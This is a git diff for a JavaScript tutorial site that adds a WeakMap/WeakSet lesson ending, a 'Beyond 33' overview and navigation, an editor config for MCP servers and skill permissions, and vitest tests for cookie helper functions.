Symbol Keys (ES2023+) + +As of ES2023, WeakMap and WeakSet can also hold non-registered [Symbols](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol): + +```javascript +const weakMap = new WeakMap() + +// ✓ Non-registered symbols work +const mySymbol = Symbol('myKey') +weakMap.set(mySymbol, 'value') +console.log(weakMap.get(mySymbol)) // "value" + +// ❌ Registered symbols (Symbol.for) don't work +const registeredSymbol = Symbol.for('registered') +weakMap.set(registeredSymbol, 'value') // TypeError! + +// Why? Symbol.for() symbols are global and can be recreated, +// defeating the purpose of weak references +``` + +<Warning> +**Registered vs Non-Registered Symbols:** `Symbol('key')` creates a unique, non-registered symbol. `Symbol.for('key')` creates or retrieves a global, registered symbol. Only non-registered symbols can be WeakMap/WeakSet keys because registered symbols are never garbage collected. +</Warning> + +--- + +## Common Mistakes + +### Mistake 1: Expecting Immediate Cleanup + +Garbage collection timing is unpredictable: + +```javascript +const weakMap = new WeakMap() + +let obj = { data: 'important' } +weakMap.set(obj, 'metadata') + +obj = null // Strong reference removed + +// The metadata might still be there! +// GC runs when the engine decides, not immediately +console.log(weakMap.has(obj)) // false (obj is null) +// But internally, the entry might not be cleaned up yet +``` + +### Mistake 2: Using Primitives as Keys + +```javascript +const weakMap = new WeakMap() + +// ❌ These all throw TypeError +weakMap.set('key', 'value') +weakMap.set(123, 'value') +weakMap.set(Symbol.for('key'), 'value') // Registered symbol! + +// ✓ Use objects or non-registered symbols +weakMap.set({ key: true }, 'value') +weakMap.set(Symbol('key'), 'value') +``` + +### Mistake 3: Trying to Iterate + +```javascript +const weakMap = new WeakMap() +weakMap.set({}, 'a') +weakMap.set({}, 'b') + +// ❌ None of these work +console.log(weakMap.size) // undefined +for (const entry of weakMap) {} // TypeError: weakMap is not iterable +weakMap.forEach(v => console.log(v)) // TypeError: forEach is not a function +``` + +### Mistake 4: Using WeakMap When You Need Iteration + +```javascript +// ❌ BAD: Using WeakMap when you need to list all cached items +const cache = new WeakMap() + +function getCachedItems() { + // Can't do this! + return [...cache.entries()] +} + +// ✓ GOOD: Use Map if you need iteration +const cache = new Map() + +function getCachedItems() { + return [...cache.entries()] +} + +// But remember to clean up manually! +function clearOldEntries() { + for (const [key, value] of cache) { + if (isExpired(value)) { + cache.delete(key) + } + } +} +``` + +--- + +## Key Takeaways + +<Info> +**The key things to remember about WeakMap & WeakSet:** + +1. **Weak references don't prevent garbage collection** — When no strong references to an object remain, it can be cleaned up even if it's in a WeakMap/WeakSet + +2. **Keys/values must be objects** — No primitives allowed (except non-registered Symbols in ES2023+) + +3. **No iteration or size** — You can't loop through or count entries; this is by design due to non-deterministic GC + +4. **WeakMap is perfect for private data** — Store private data keyed by `this` to create truly hidden instance data + +5. **WeakMap prevents metadata memory leaks** — Attach data to DOM elements or other objects without keeping them alive + +6. **WeakSet tracks object state** — Mark objects as "visited" or "processed" without memory leaks + +7. **Use WeakMap for object caching** — Cache computed results that automatically clean up when objects are gone + +8. **Use regular Map/Set when you need iteration** — WeakMap/WeakSet trade enumeration for automatic cleanup + +9. **GC timing is unpredictable** — Don't write code that depends on when exactly entries are removed + +10. **Symbol.for() symbols aren't allowed** — Only non-registered symbols can be keys because registered ones never get garbage collected +</Info> + +--- + +## Test Your Knowledge + +<AccordionGroup> + <Accordion title="Question 1: Why can't you use a string as a WeakMap key?"> + **Answer:** + + WeakMap keys must be objects because weak references only make sense for values with identity. Primitives like strings are immutable and interned — the string `'hello'` is always the same `'hello'` everywhere. There's no object to garbage collect. + + ```javascript + const weakMap = new WeakMap() + + // ❌ TypeError: Invalid value used as weak map key + weakMap.set('hello', 'world') + + // ✓ Objects have identity and can be garbage collected + weakMap.set({ greeting: 'hello' }, 'world') + ``` + </Accordion> + + <Accordion title="Question 2: What happens to WeakMap entries when their key is garbage collected?"> + **Answer:** + + The entry is automatically removed from the WeakMap. You don't need to manually delete it. This happens at some point after the key loses all strong references, though the exact timing depends on when the garbage collector runs. + + ```javascript + const weakMap = new WeakMap() + let obj = { data: 'test' } + + weakMap.set(obj, 'metadata') + console.log(weakMap.has(obj)) // true + + obj = null // Remove strong reference + // At some point, the entry will be cleaned up automatically + ``` + </Accordion> + + <Accordion title="Question 3: Why doesn't WeakMap have a size property?"> + **Answer:** + + Because garbage collection is non-deterministic. The size would change unpredictably based on when GC runs, making it unreliable. The same code could produce different `size` values at different times, which would be confusing and bug-prone. + + ```javascript + const weakMap = new WeakMap() + + // This doesn't exist: + // console.log(weakMap.size) // undefined + + // If it did exist, it would be unpredictable: + // weakMap.size // 5? 3? 0? Depends on GC timing! + ``` + </Accordion> + + <Accordion title="Question 4: When should you use WeakMap instead of Map?"> + **Answer:** + + Use WeakMap when: + 1. You're storing metadata or private data keyed by objects + 2. You don't need to iterate over the entries + 3. You want automatic cleanup when the objects are no longer needed + + Use regular Map when: + 1. You need primitive keys (strings, numbers) + 2. You need to iterate over entries + 3. You need to know the size + 4. You want to explicitly control when entries are removed + </Accordion> + + <Accordion title="Question 5: How does WeakSet help prevent memory leaks?"> + **Answer:** + + WeakSet allows you to track objects (e.g., "has this been processed?") without keeping them alive. With a regular Set, adding an object creates a strong reference that prevents garbage collection even if the object is no longer used elsewhere. + + ```javascript + // ❌ Memory leak with regular Set + const processedSet = new Set() + function process(obj) { + if (processedSet.has(obj)) return + processedSet.add(obj) // Strong reference keeps obj alive forever! + // ... + } + + // ✓ No memory leak with WeakSet + const processedWeakSet = new WeakSet() + function process(obj) { + if (processedWeakSet.has(obj)) return + processedWeakSet.add(obj) // Weak reference allows cleanup + // ... + } + ``` + </Accordion> + + <Accordion title="Question 6: Can you use Symbol.for('key') as a WeakMap key?"> + **Answer:** + + No! `Symbol.for()` creates registered symbols in the global symbol registry. These symbols are never garbage collected because they can be retrieved again from anywhere using `Symbol.for()`. Only non-registered symbols (created with `Symbol()`) can be WeakMap keys. + + ```javascript + const weakMap = new WeakMap() + + // ❌ TypeError: Registered symbols can't be WeakMap keys + weakMap.set(Symbol.for('key'), 'value') + + // ✓ Non-registered symbols work (ES2023+) + weakMap.set(Symbol('key'), 'value') + ``` + </Accordion> +</AccordionGroup> + +--- + +## Related Concepts + +<CardGroup cols={2}> + <Card title="Data Structures" icon="sitemap" href="/concepts/data-structures"> + Map, Set, and other JavaScript data structures + </Card> + <Card title="Memory Management" icon="memory" href="/beyond/concepts/memory-management"> + How JavaScript manages memory and garbage collection + </Card> + <Card title="Garbage Collection" icon="trash" href="/beyond/concepts/garbage-collection"> + Deep dive into JavaScript's garbage collector + </Card> + <Card title="Memoization" icon="bolt" href="/beyond/concepts/memoization"> + Caching function results for performance + </Card> +</CardGroup> + +--- + +## Reference + +<CardGroup cols={2}> + <Card title="WeakMap — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap"> + Complete WeakMap reference with all methods, examples, and browser compatibility tables. + </Card> + <Card title="WeakSet — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakSet"> + Complete WeakSet reference with all methods, examples, and browser compatibility tables. + </Card> + <Card title="Keyed Collections — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Keyed_collections"> + MDN guide covering Map, Set, WeakMap, and WeakSet together with comparison and use cases. + </Card> + <Card title="Memory Management — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Memory_management"> + How JavaScript handles memory allocation and garbage collection under the hood. + </Card> +</CardGroup> + +--- + +## Articles + +<CardGroup cols={2}> + <Card title="WeakMap and WeakSet — javascript.info" icon="newspaper" href="https://javascript.info/weakmap-weakset"> + Clear explanation with practical examples of additional data storage and caching. Includes exercises to test your understanding. + </Card> + <Card title="ES6 Collections: Map, Set, WeakMap, WeakSet — 2ality" icon="newspaper" href="https://2ality.com/2015/01/es6-maps-sets.html"> + Dr. Axel Rauschmayer's deep dive into all ES6 keyed collections. Covers the spec-level details, use cases, and edge cases for WeakMap and WeakSet. + </Card> + <Card title="Understanding Weak References in JavaScript — LogRocket" icon="newspaper" href="https://blog.logrocket.com/weakmap-weakset-understanding-javascript-weak-references/"> + Practical guide covering WeakMap and WeakSet with real-world examples of caching and private data patterns. + </Card> + <Card title="JavaScript WeakMap — GeeksforGeeks" icon="newspaper" href="https://www.geeksforgeeks.org/javascript-weakmap/"> + Comprehensive tutorial covering WeakMap methods and use cases with code examples. Good reference for the API and basic usage patterns. + </Card> +</CardGroup> + +--- + +## Videos + +<CardGroup cols={2}> + <Card title="WeakMap and WeakSet — Namaste JavaScript" icon="video" href="https://www.youtube.com/watch?v=gwlQ_p3Mvns"> + Akshay Saini's detailed walkthrough with visualizations of how weak references work. Great for visual learners who want to see memory behavior. + </Card> + <Card title="Map, Set, WeakMap, WeakSet — Codevolution" icon="video" href="https://www.youtube.com/watch?v=ycohYSx5aYk"> + Clear comparison of all four collection types with practical code examples. Perfect for understanding when to use each one. + </Card> + <Card title="JavaScript WeakMap — Steve Griffith" icon="video" href="https://www.youtube.com/watch?v=XSkEMUuNPUU"> + Focused tutorial on WeakMap specifically, covering the private data pattern in depth with real-world examples. + </Card> +</CardGroup> diff --git a/docs/beyond/getting-started/overview.mdx b/docs/beyond/getting-started/overview.mdx new file mode 100644 index 00000000..35b2e88e --- /dev/null +++ b/docs/beyond/getting-started/overview.mdx @@ -0,0 +1,152 @@ +--- +title: "Beyond 33: Extended JavaScript Concepts" +sidebarTitle: "Overview" +description: "Go deeper into JavaScript with 29 advanced concepts that build on the original 33. Master topics like hoisting, proxies, observers, and performance optimization." +--- + +You've learned the fundamentals. Now it's time to go deeper. + +**Beyond 33** is an advanced extension of the original 33 JavaScript Concepts. These 29 additional concepts cover topics that experienced developers encounter in real-world applications — from memory management to browser APIs, from metaprogramming with Proxies to performance optimization patterns. + +<Info> +**Prerequisites:** Before diving into Beyond 33, make sure you're comfortable with the [original 33 concepts](/getting-started/about). These advanced topics build directly on that foundation. +</Info> + +--- + +## What's Covered + +Beyond 33 is organized into 9 categories: + +<CardGroup cols={2}> + <Card title="Language Mechanics" icon="gear" href="/beyond/concepts/hoisting"> + Hoisting, Temporal Dead Zone, Strict Mode + </Card> + <Card title="Type System" icon="code" href="/beyond/concepts/javascript-type-nuances"> + Advanced type behavior, null vs undefined, Symbols, BigInt + </Card> + <Card title="Objects & Properties" icon="cube" href="/beyond/concepts/property-descriptors"> + Property descriptors, getters/setters, Proxy, Reflect, WeakMap/WeakSet + </Card> + <Card title="Memory & Performance" icon="bolt" href="/beyond/concepts/memory-management"> + Memory management, garbage collection, debouncing, throttling, memoization + </Card> + <Card title="Modern Syntax" icon="wand-magic-sparkles" href="/beyond/concepts/tagged-template-literals"> + Tagged template literals, computed property names + </Card> + <Card title="Browser Storage" icon="database" href="/beyond/concepts/localstorage-sessionstorage"> + localStorage, sessionStorage, IndexedDB, Cookies + </Card> + <Card title="Events" icon="bell" href="/beyond/concepts/event-bubbling-capturing"> + Event bubbling/capturing, delegation, custom events + </Card> + <Card title="Observer APIs" icon="eye" href="/beyond/concepts/intersection-observer"> + Intersection, Mutation, Resize, and Performance observers + </Card> +</CardGroup> + +<Card title="Data Handling" icon="file-code" href="/beyond/concepts/json-deep-dive"> + JSON deep dive, Typed Arrays, Blob/File API, requestAnimationFrame +</Card> + +--- + +## Who Is This For? + +| If you are... | Beyond 33 will help you... | +|---------------|---------------------------| +| **A mid-level developer** | Fill knowledge gaps and understand how JavaScript really works under the hood | +| **Preparing for senior interviews** | Master advanced topics that interviewers love to ask about | +| **Building complex applications** | Learn patterns for performance, memory management, and browser APIs | +| **A curious developer** | Explore the deeper parts of JavaScript you've always wondered about | + +--- + +## The Complete List + +### Language Mechanics + +| # | Concept | Description | +|---|---------|-------------| +| 34 | [Hoisting](/beyond/concepts/hoisting) | How JavaScript hoists variable and function declarations | +| 35 | [Temporal Dead Zone](/beyond/concepts/temporal-dead-zone) | Why accessing `let`/`const` before declaration throws errors | +| 36 | [Strict Mode](/beyond/concepts/strict-mode) | How `'use strict'` catches common mistakes | + +### Type System + +| # | Concept | Description | +|---|---------|-------------| +| 37 | [JavaScript Type Nuances](/beyond/concepts/javascript-type-nuances) | null vs undefined, short-circuit evaluation, typeof quirks, Symbols, BigInt | + +### Objects & Properties + +| # | Concept | Description | +|---|---------|-------------| +| 38 | [Property Descriptors](/beyond/concepts/property-descriptors) | writable, enumerable, configurable attributes | +| 39 | [Getters & Setters](/beyond/concepts/getters-setters) | Computed properties with `get` and `set` | +| 40 | [Object Methods](/beyond/concepts/object-methods) | Object.keys(), values(), entries(), freeze(), seal() | +| 41 | [Proxy & Reflect](/beyond/concepts/proxy-reflect) | Intercept object operations for metaprogramming | +| 42 | [WeakMap & WeakSet](/beyond/concepts/weakmap-weakset) | Weak references and automatic garbage collection | + +### Memory & Performance + +| # | Concept | Description | +|---|---------|-------------| +| 43 | [Memory Management](/beyond/concepts/memory-management) | Memory lifecycle, stack vs heap, memory leaks | +| 44 | [Garbage Collection](/beyond/concepts/garbage-collection) | Mark-and-sweep, generational GC, writing efficient code | +| 45 | [Debouncing & Throttling](/beyond/concepts/debouncing-throttling) | Optimize event handlers and reduce API calls | +| 46 | [Memoization](/beyond/concepts/memoization) | Cache function results for performance | + +### Modern Syntax & Operators + +| # | Concept | Description | +|---|---------|-------------| +| 47 | [Tagged Template Literals](/beyond/concepts/tagged-template-literals) | Custom string processing and DSLs | +| 48 | [Computed Property Names](/beyond/concepts/computed-property-names) | Dynamic keys in object literals | + +### Browser Storage + +| # | Concept | Description | +|---|---------|-------------| +| 49 | [localStorage & sessionStorage](/beyond/concepts/localstorage-sessionstorage) | Web Storage APIs for client-side data | +| 50 | [IndexedDB](/beyond/concepts/indexeddb) | Large-scale structured client-side storage | +| 51 | [Cookies](/beyond/concepts/cookies) | Read, write, and secure cookie handling | + +### Events + +| # | Concept | Description | +|---|---------|-------------| +| 52 | [Event Bubbling & Capturing](/beyond/concepts/event-bubbling-capturing) | The three phases of event propagation | +| 53 | [Event Delegation](/beyond/concepts/event-delegation) | Handle events efficiently with bubbling | +| 54 | [Custom Events](/beyond/concepts/custom-events) | Create and dispatch your own events | + +### Observer APIs + +| # | Concept | Description | +|---|---------|-------------| +| 55 | [Intersection Observer](/beyond/concepts/intersection-observer) | Detect element visibility for lazy loading | +| 56 | [Mutation Observer](/beyond/concepts/mutation-observer) | Watch DOM changes in real-time | +| 57 | [Resize Observer](/beyond/concepts/resize-observer) | Respond to element size changes | +| 58 | [Performance Observer](/beyond/concepts/performance-observer) | Measure page performance and Core Web Vitals | + +### Data Handling + +| # | Concept | Description | +|---|---------|-------------| +| 59 | [JSON Deep Dive](/beyond/concepts/json-deep-dive) | Replacers, revivers, circular references, custom toJSON | +| 60 | [Typed Arrays & ArrayBuffers](/beyond/concepts/typed-arrays-arraybuffers) | Binary data handling for WebGL and file processing | +| 61 | [Blob & File API](/beyond/concepts/blob-file-api) | Create, read, and manipulate binary data | +| 62 | [requestAnimationFrame](/beyond/concepts/requestanimationframe) | Smooth 60fps animations synced with browser repaint | + +--- + +## Ready to Begin? + +<CardGroup cols={2}> + <Card title="Start with Hoisting" icon="arrow-right" href="/beyond/concepts/hoisting"> + Begin your Beyond 33 journey with the first concept + </Card> + <Card title="Back to Fundamentals" icon="arrow-left" href="/getting-started/about"> + Review the original 33 concepts first + </Card> +</CardGroup> diff --git a/docs/concepts/scope-and-closures.mdx b/docs/concepts/scope-and-closures.mdx index 7691744e..455a5311 100644 --- a/docs/concepts/scope-and-closures.mdx +++ b/docs/concepts/scope-and-closures.mdx @@ -1088,6 +1088,9 @@ cleanup(); // Removes listener, allows memory to be freed <Card title="Call Stack" icon="layer-group" href="/concepts/call-stack"> How JavaScript tracks function execution and manages scope </Card> + <Card title="Hoisting" icon="arrow-up" href="/beyond/concepts/hoisting"> + Deep dive into how JavaScript hoists declarations + </Card> <Card title="IIFE, Modules and Namespaces" icon="box" href="/concepts/iife-modules"> Patterns that leverage scope for encapsulation </Card> diff --git a/docs/docs.json b/docs/docs.json index 5764821a..c6b0cd2c 100644 --- a/docs/docs.json +++ b/docs/docs.json @@ -138,9 +138,111 @@ "concepts/design-patterns", "concepts/clean-code" ] + }, + { + "group": "What's Next?", + "icon": "arrow-right", + "pages": [ + "beyond/getting-started/overview" + ] } ] }, + { + "tab": "Beyond 33", + "groups": [ + { + "group": "Getting Started", + "icon": "rocket", + "pages": [ + "beyond/getting-started/overview" + ] + }, + { + "group": "Language Mechanics", + "icon": "gear", + "pages": [ + "beyond/concepts/hoisting", + "beyond/concepts/temporal-dead-zone", + "beyond/concepts/strict-mode" + ] + }, + { + "group": "Type System", + "icon": "code", + "pages": [ + "beyond/concepts/javascript-type-nuances" + ] + }, + { + "group": "Objects & Properties", + "icon": "cube", + "pages": [ + "beyond/concepts/property-descriptors", + "beyond/concepts/getters-setters", + "beyond/concepts/object-methods", + "beyond/concepts/proxy-reflect", + "beyond/concepts/weakmap-weakset" + ] + }, + { + "group": "Memory & Performance", + "icon": "bolt", + "pages": [ + "beyond/concepts/memory-management", + "beyond/concepts/garbage-collection", + "beyond/concepts/debouncing-throttling", + "beyond/concepts/memoization" + ] + }, + { + "group": "Modern Syntax & Operators", + "icon": "wand-magic-sparkles", + "pages": [ + "beyond/concepts/tagged-template-literals", + "beyond/concepts/computed-property-names" + ] + }, + { + "group": "Browser Storage", + "icon": "database", + "pages": [ + "beyond/concepts/localstorage-sessionstorage", + "beyond/concepts/indexeddb", + "beyond/concepts/cookies" + ] + }, + { + "group": "Events", + "icon": "bell", + "pages": [ + "beyond/concepts/event-bubbling-capturing", + "beyond/concepts/event-delegation", + "beyond/concepts/custom-events" + ] + }, + { + "group": "Observer APIs", + "icon": "eye", + "pages": [ + "beyond/concepts/intersection-observer", + "beyond/concepts/mutation-observer", + "beyond/concepts/resize-observer", + "beyond/concepts/performance-observer" + ] + }, + { + "group": "Data Handling", + "icon": "file-code", + "pages": [ + "beyond/concepts/json-deep-dive", + "beyond/concepts/typed-arrays-arraybuffers", + "beyond/concepts/blob-file-api", + "beyond/concepts/requestanimationframe" + ] + } + ] + }, { "tab": "Community", "groups": [ diff --git a/opencode.json b/opencode.json deleted file mode 100644 index 9222cb5f..00000000 --- a/opencode.json +++ /dev/null @@ -1,17 +0,0 @@ -{ - "$schema": "https://opencode.ai/config.json", - "mcp": { - "context7": { - "type": "remote", - "url": "https://mcp.context7.com/mcp" - }, - "github": { - "type": "local", - "command": ["bunx", "@modelcontextprotocol/server-github"], - "environment": { - "GITHUB_PERSONAL_ACCESS_TOKEN": "{env:GITHUB_PERSONAL_ACCESS_TOKEN}", - "GITHUB_TOOLSETS": "repos,issues,pull_requests,actions,code_security" - } - } - } -} diff --git a/opencode.jsonc b/opencode.jsonc new file mode 100644 index 00000000..698911c3 --- /dev/null +++ b/opencode.jsonc @@ -0,0 +1,41 @@ +{ + "$schema": "https://opencode.ai/config.json", + + // MCP Server Configuration + "mcp": { + "context7": { + "type": "remote", + "url": "https://mcp.context7.com/mcp" + }, + "github": { + "type": "local", + "command": ["bunx", "@modelcontextprotocol/server-github"], + "environment": { + "GITHUB_PERSONAL_ACCESS_TOKEN": "{env:GITHUB_PERSONAL_ACCESS_TOKEN}", + "GITHUB_TOOLSETS": "repos,issues,pull_requests,actions,code_security" + } + } + }, + + // Tool Configuration + "tools": { + // Enable the skill loading tool + "skill": true + }, + + // Permission Configuration + "permission": { + // Skill permissions - allow all project skills by default + "skill": { + // Project-specific skills + "write-concept": "allow", + "fact-check": "allow", + "seo-review": "allow", + "test-writer": "allow", + "resource-curator": "allow", + "concept-workflow": "allow", + // Default behavior for other skills + "*": "ask" + } + } +} diff --git a/tests/beyond/browser-storage/cookies/cookies.dom.test.js b/tests/beyond/browser-storage/cookies/cookies.dom.test.js new file mode 100644 index 00000000..26128313 --- /dev/null +++ b/tests/beyond/browser-storage/cookies/cookies.dom.test.js @@ -0,0 +1,547 @@ +/** + * @vitest-environment jsdom + */ +import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest' + +// ============================================================ +// COOKIES DOM TESTS +// Tests for code examples from cookies.mdx that require browser APIs +// ============================================================ + +describe('Cookies - DOM', () => { + // ============================================================ + // SETUP AND CLEANUP + // ============================================================ + + beforeEach(() => { + // Clear all cookies before each test + document.cookie.split(";").forEach(cookie => { + const name = cookie.split("=")[0].trim() + document.cookie = `${name}=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/` + }) + }) + + afterEach(() => { + // Clean up after each test + document.cookie.split(";").forEach(cookie => { + const name = cookie.split("=")[0].trim() + document.cookie = `${name}=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/` + }) + vi.restoreAllMocks() + }) + + // ============================================================ + // SETTING COOKIES WITH JAVASCRIPT + // From cookies.mdx lines 71-88 + // ============================================================ + + describe('Setting Cookies with JavaScript', () => { + // From lines 71-79: Basic cookie syntax + it('should set a simple cookie', () => { + document.cookie = "username=Alice" + + expect(document.cookie).toContain("username=Alice") + }) + + it('should add multiple cookies without overwriting', () => { + // From lines 74-79: Multiple assignments add cookies + document.cookie = "a=1" + document.cookie = "b=2" + document.cookie = "c=3" + + expect(document.cookie).toContain("a=1") + expect(document.cookie).toContain("b=2") + expect(document.cookie).toContain("c=3") + }) + + it('should update existing cookie with same name', () => { + document.cookie = "theme=light" + document.cookie = "theme=dark" + + // Should only have one "theme" cookie + const matches = document.cookie.match(/theme=/g) + expect(matches).toHaveLength(1) + expect(document.cookie).toContain("theme=dark") + }) + }) + + // ============================================================ + // THE QUIRKY NATURE OF document.cookie + // From cookies.mdx lines 81-91 + // ============================================================ + + describe('document.cookie Quirks', () => { + // From lines 81-91: Setting vs reading behavior + it('should return all cookies when reading', () => { + document.cookie = "first=1" + document.cookie = "second=2" + + const cookies = document.cookie + expect(typeof cookies).toBe("string") + expect(cookies).toContain("first=1") + expect(cookies).toContain("second=2") + }) + + it('should not allow direct property access', () => { + document.cookie = "test=value" + + // document.cookie.test doesn't work + expect(document.cookie.test).toBeUndefined() + }) + }) + + // ============================================================ + // READING COOKIES + // From cookies.mdx lines 106-147 + // ============================================================ + + describe('Reading Cookies', () => { + // From lines 106-117: getCookie implementation + describe('getCookie function', () => { + function getCookie(name) { + const cookies = document.cookie.split("; ") + for (const cookie of cookies) { + const [cookieName, cookieValue] = cookie.split("=") + if (cookieName === name) { + return decodeURIComponent(cookieValue) + } + } + return null + } + + it('should retrieve a cookie by name', () => { + document.cookie = "username=Alice" + + expect(getCookie("username")).toBe("Alice") + }) + + it('should return null for missing cookies', () => { + expect(getCookie("nonexistent")).toBeNull() + }) + + it('should decode encoded values', () => { + document.cookie = `message=${encodeURIComponent("Hello, World!")}` + + expect(getCookie("message")).toBe("Hello, World!") + }) + }) + + // From lines 121-136: parseCookies implementation + describe('parseCookies function', () => { + function parseCookies() { + return document.cookie + .split("; ") + .filter(Boolean) + .reduce((cookies, cookie) => { + const [name, ...valueParts] = cookie.split("=") + const value = valueParts.join("=") + cookies[name] = decodeURIComponent(value) + return cookies + }, {}) + } + + it('should parse all cookies into an object', () => { + document.cookie = "a=1" + document.cookie = "b=2" + document.cookie = "c=3" + + const cookies = parseCookies() + + expect(cookies.a).toBe("1") + expect(cookies.b).toBe("2") + expect(cookies.c).toBe("3") + }) + + it('should return empty object when no cookies', () => { + // Cookies should be cleared by beforeEach + const cookies = parseCookies() + + expect(Object.keys(cookies).length).toBe(0) + }) + }) + + // From lines 140-147: hasCookie implementation + describe('hasCookie function', () => { + function hasCookie(name) { + return document.cookie + .split("; ") + .some(cookie => cookie.startsWith(`${name}=`)) + } + + it('should return true for existing cookies', () => { + document.cookie = "sessionId=abc123" + + expect(hasCookie("sessionId")).toBe(true) + }) + + it('should return false for missing cookies', () => { + expect(hasCookie("nonexistent")).toBe(false) + }) + }) + }) + + // ============================================================ + // WRITING COOKIES WITH HELPER FUNCTION + // From cookies.mdx lines 153-196 + // ============================================================ + + describe('setCookie Helper Function', () => { + // From lines 153-196: Complete setCookie implementation + function setCookie(name, value, options = {}) { + const defaults = { + path: "/" + } + + const settings = { ...defaults, ...options } + + let cookieString = `${encodeURIComponent(name)}=${encodeURIComponent(value)}` + + if (settings.maxAge !== undefined) { + cookieString += `; max-age=${settings.maxAge}` + } else if (settings.expires instanceof Date) { + cookieString += `; expires=${settings.expires.toUTCString()}` + } + + if (settings.path) { + cookieString += `; path=${settings.path}` + } + + document.cookie = cookieString + } + + it('should set a basic cookie', () => { + setCookie("test", "value") + + expect(document.cookie).toContain("test=value") + }) + + it('should set cookie with max-age', () => { + setCookie("temp", "data", { maxAge: 3600 }) + + expect(document.cookie).toContain("temp=data") + }) + + it('should encode special characters', () => { + setCookie("message", "Hello, World!") + + // The cookie should be set (browser decodes when reading) + expect(document.cookie).toContain("message=") + }) + + it('should overwrite existing cookie', () => { + setCookie("key", "old") + setCookie("key", "new") + + // Should only have one occurrence + const matches = document.cookie.match(/key=/g) + expect(matches).toHaveLength(1) + }) + }) + + // ============================================================ + // DELETING COOKIES + // From cookies.mdx lines 201-220 + // ============================================================ + + describe('Deleting Cookies', () => { + // From lines 201-220: deleteCookie implementation + function setCookie(name, value, options = {}) { + const defaults = { path: "/" } + const settings = { ...defaults, ...options } + + let cookieString = `${encodeURIComponent(name)}=${encodeURIComponent(value)}` + + if (settings.maxAge !== undefined) { + cookieString += `; max-age=${settings.maxAge}` + } + + if (settings.path) { + cookieString += `; path=${settings.path}` + } + + document.cookie = cookieString + } + + function deleteCookie(name, options = {}) { + setCookie(name, "", { + ...options, + maxAge: 0 + }) + } + + it('should delete a cookie by setting max-age=0', () => { + // First, set a cookie + document.cookie = "toDelete=value; path=/" + expect(document.cookie).toContain("toDelete=value") + + // Delete it + deleteCookie("toDelete") + + // Should be gone + expect(document.cookie).not.toContain("toDelete=value") + }) + + it('should delete cookie using past expiration date', () => { + document.cookie = "oldCookie=data; path=/" + expect(document.cookie).toContain("oldCookie=data") + + document.cookie = "oldCookie=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/" + + expect(document.cookie).not.toContain("oldCookie=data") + }) + }) + + // ============================================================ + // COOKIE ATTRIBUTES + // From cookies.mdx lines 269-383 + // ============================================================ + + describe('Cookie Attributes', () => { + // From lines 275-293: max-age attribute + describe('max-age', () => { + it('should accept max-age in seconds', () => { + // 1 hour = 3600 seconds + document.cookie = "hourly=data; max-age=3600; path=/" + + expect(document.cookie).toContain("hourly=data") + }) + + it('should delete cookie with max-age=0', () => { + document.cookie = "temp=value; path=/" + document.cookie = "temp=; max-age=0; path=/" + + expect(document.cookie).not.toContain("temp=value") + }) + + it('should delete cookie with negative max-age', () => { + document.cookie = "temp=value; path=/" + document.cookie = "temp=; max-age=-1; path=/" + + expect(document.cookie).not.toContain("temp=value") + }) + }) + + // From lines 295-307: expires attribute + describe('expires', () => { + it('should accept UTC date string', () => { + const futureDate = new Date() + futureDate.setTime(futureDate.getTime() + 24 * 60 * 60 * 1000) + + document.cookie = `future=data; expires=${futureDate.toUTCString()}; path=/` + + expect(document.cookie).toContain("future=data") + }) + + it('should delete with past expiration date', () => { + document.cookie = "past=data; path=/" + document.cookie = "past=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/" + + expect(document.cookie).not.toContain("past=data") + }) + }) + + // From lines 309-343: path attribute + describe('path', () => { + it('should set cookie with specific path', () => { + // Note: jsdom doesn't fully support path restrictions + // Cookies with non-root paths may not be accessible + // This tests the cookie string format instead + const cookieString = "appToken=abc; path=/app" + + expect(cookieString).toContain("path=/app") + expect(cookieString).toContain("appToken=abc") + }) + + it('should set cookie with root path', () => { + document.cookie = "rootToken=xyz; path=/" + + expect(document.cookie).toContain("rootToken=xyz") + }) + }) + }) + + // ============================================================ + // SECURITY ATTRIBUTES (where testable) + // From cookies.mdx lines 385-470 + // ============================================================ + + describe('Security Attributes', () => { + // Note: Many security attributes can't be fully tested in jsdom + // These tests verify the cookie string format + + describe('SameSite attribute formatting', () => { + it('should format samesite=strict correctly', () => { + const cookieString = "session=abc; samesite=strict" + + expect(cookieString).toContain("samesite=strict") + }) + + it('should format samesite=lax correctly', () => { + const cookieString = "session=abc; samesite=lax" + + expect(cookieString).toContain("samesite=lax") + }) + + it('should format samesite=none with secure', () => { + const cookieString = "widget=abc; samesite=none; secure" + + expect(cookieString).toContain("samesite=none") + expect(cookieString).toContain("secure") + }) + }) + }) + + // ============================================================ + // INTEGRATION TESTS + // Combined functionality from multiple sections + // ============================================================ + + describe('Integration Tests', () => { + it('should round-trip JSON data through cookies', () => { + const userData = { name: "Alice", role: "admin" } + const encoded = encodeURIComponent(JSON.stringify(userData)) + + document.cookie = `user=${encoded}; path=/` + + // Read it back + function getCookie(name) { + const cookies = document.cookie.split("; ") + for (const cookie of cookies) { + const [cookieName, cookieValue] = cookie.split("=") + if (cookieName === name) { + return decodeURIComponent(cookieValue) + } + } + return null + } + + const retrieved = getCookie("user") + const parsed = JSON.parse(retrieved) + + expect(parsed).toEqual(userData) + }) + + it('should manage multiple cookies for a user session', () => { + // Set session cookies + document.cookie = "userId=12345; path=/" + document.cookie = "theme=dark; path=/" + document.cookie = "lang=en; path=/" + + // Read all + function parseCookies() { + return document.cookie + .split("; ") + .filter(Boolean) + .reduce((cookies, cookie) => { + const [name, ...valueParts] = cookie.split("=") + const value = valueParts.join("=") + cookies[name] = decodeURIComponent(value) + return cookies + }, {}) + } + + const cookies = parseCookies() + + expect(cookies.userId).toBe("12345") + expect(cookies.theme).toBe("dark") + expect(cookies.lang).toBe("en") + + // Update one + document.cookie = "theme=light; path=/" + + const updated = parseCookies() + expect(updated.theme).toBe("light") + expect(updated.userId).toBe("12345") // Others unchanged + }) + + 